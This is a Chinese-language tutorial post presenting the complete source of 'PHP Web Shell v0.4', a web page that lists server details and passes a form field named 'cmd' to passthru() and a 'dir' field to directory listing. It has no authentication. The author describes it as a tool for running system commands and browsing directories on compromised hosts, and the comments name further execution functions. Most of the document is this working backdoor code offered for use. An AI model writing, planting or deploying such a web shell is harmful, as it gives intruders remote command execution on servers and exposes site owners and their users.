当前位置:Linux教程 - Shell - phpshell的编写改进版

phpshell的编写改进版

以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!


程序介绍:

程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录


未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能

程序代码:


<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{    SCROLLBAR-FACE-COLOR: #ffffff;
    SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
    SCROLLBAR-SHADOW-COLOR: #fcfcfc;
    SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
     SCROLLBAR-ARROW-COLOR: #240024;
    SCROLLBAR-TRACK-COLOR: #fcfcfc;
    SCROLLBAR-DARKSHADOW-COLOR: #48486c;
    SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>

<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>


<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>

<font class=font>输入目录 </font><INPUT TYPE="text" NAME="dir" size=20 class=input>
<INPUT TYPE="submit" value="浏览" class=input>
</FORM>
</center>
<pre>
<font size=2 color="000000" class=font>
<?php
echo "服务器地址: <a href=\"http://$_SERVER[SERVER_NAME]\">$_SERVER[SERVER_NAME]</a>
"
; //显示服务器域名或IP地址
echo "本文件路径: $_SERVER[PATH_TRANSLATED]";  //显示文件所在路径
?>


<?php
if(!empty($cmd)) {
echo
"执行 <font color=red>$cmd</font> 命令后的结果:
"
; //执行命令后的提示
}
if(!empty(
$dir)) {
echo
"浏览目录 <font color=red>$dir</font> 的结果:
"
; //查看目录后的提示
}
?>
<hr size=1>
<?php
if(empty($cmd) && empty($dir)) { //判断有没有输入命令,如果没有则出现错误提示
    
echo " 请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
"
;
}
@
passthru($cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等
$f = @opendir($dir);  //利用opendir()函数来获取目录信息赋值给变量
while($file = @readdir($f)) { //使用readdir()函数循环读取目录信息
    
echo "$file\n"; //分行显示获取的目录信息
}
?>
</font>
</pre>




</body>
</html>